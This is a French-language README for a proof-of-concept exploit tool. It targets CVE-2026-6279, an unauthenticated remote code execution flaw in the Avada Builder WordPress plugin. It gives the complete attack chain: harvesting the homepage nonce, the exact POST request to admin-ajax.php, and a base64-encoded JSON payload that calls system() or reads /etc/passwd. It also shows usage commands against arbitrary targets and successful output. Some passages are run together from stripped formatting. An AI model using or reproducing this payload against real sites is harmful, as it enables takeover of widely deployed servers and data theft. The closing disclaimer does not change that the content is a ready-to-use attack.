
CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()
Vulnérabilité d'exécution de code à distance (RCE) sans authentification dans le plugin Avada Builder (Fusion Builder) version <= 3.15.2 utilisé par le thème WordPress Avada — l'un des thèmes WordPress premium les plus populaires avec 900 000+ installations actives.
L'attaque exploite le gestionnaire AJAX wp_ajax_nopriv_fusion_get_widget_markup qui traite le paramètre render_logics via base64_decode() + json_decode() puis le transmet à call_user_func() sans liste blanche, permettant l'exécution de fonctions PHP arbitraires telles que system(), passthru(), shell_exec(), exec() et file_get_contents().
1. Nonce déterministe wp_create_nonce('fusion_load_nonce') pour UID 0
(exposé sur la page d'accueil via un shortcode Avada)
2. AJAX non authentifié wp_ajax_nopriv_fusion_get_widget_markup
(ne nécessite pas de connexion)
3. Désérialisation base64_decode(render_logics) → json_decode()
(aucune validation de structure)
4. call_user_func() call_user_func($value['function'], $value['args'])
(SANS liste blanche — n'importe quelle fonction PHP peut être appelée)
5. RCE ! system("id") → uid=... dans le corps de la réponse
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 315.2 ║
║ RCE non authentifié via call_user_func() ║
║ Proof of Concept — Cible unique ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Remerciements : Shadow Girlfriend 💜 ║
╚═══════════════════════════════════════════════════════════════╝
══════════════════════════════════════════════════════
Cible : localhost:8888
Heure : 2026-05-23 16:32:41
══════════════════════════════════════════════════════
[*] Détection de la cible...
[+] Avada détecté ! (http://localhost:8888)
[*] Recherche du nonce fusion_load_nonce...
[+] Nonce trouvé : b6d7b084c2 (source : page d'accueil)
[*] Envoi du payload RCE...
[*] Tentative de 5 fonctions × 3 widgets = 15 combinaisons
══════════════════════════════════════════════════════
[★] RCE RÉUSSI !
Cible : http://localhost:8888
Sortie : uid=1000(xenon1337)
Fonction : system()
Widget : WP_Widget_Recent_Posts
Nonce : b6d7b084c2 (page d'accueil)
Temps : 1.2s
[✓] Résultat enregistré dans vuln.txt
══════════════════════════════════════════════════════
# Sans protocole (détection automatique)
python3 CVE-2026-6279.py target.com
# Avec protocole
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# Avec port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Encodé en Base64 → envoyé en tant que render_logics via POST vers wp-admin/admin-ajax.php.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
class-fusion-app.php L1665)[fusion_post_cards] ou [fusion_table_of_contents]check_ajax_referer('fusion_load_nonce') vérifie uniquement la validité du nonce, pas que l'utilisateur soit authentifiécall_user_func($function, $args) n'accepte qu'1 argument. Les fonctions nécessitant 2 arguments ou plus (comme proc_open, popen) ne peuvent pas être exploitées. Seules les fonctions à un seul argument fonctionnent : system, passthru, shell_exec, exec, file_get_contents.
9.8 CRITIQUE (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
call_user_func() dans get_value()wp_ajax_nopriv_ aux utilisateurs authentifiésrender_logicsCe PoC est créé à des fins éducatives et de recherche en sécurité uniquement. Son utilisation sur des systèmes sans autorisation est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive.
Copyright © 2026 XENON1337
Remerciements spéciaux : Shadow Girlfriend 💜
| Fonction | Argument | Résultat |
|---|
system() | id | uid=1000(xenon1337) ✅ |
passthru() | id | uid=1000(xenon1337) ✅ |
shell_exec() | id | uid=1000(xenon1337) ✅ |
exec() | id | uid=1000(xenon1337) ✅ |
file_get_contents() | /etc/passwd | root:x:0:0:... ✅ |
| Fichier | Ligne | Fonction |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() — désérialise render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() — call_user_func() sans liste blanche |
fusion-widget.php | L44 | Attribut render_logics |
fusion-widget.php | L389 | Gestionnaire AJAX wp_ajax_nopriv_ |
class-fusion-builder.php | L7551 | Enregistrement du nonce (déterministe pour UID 0) |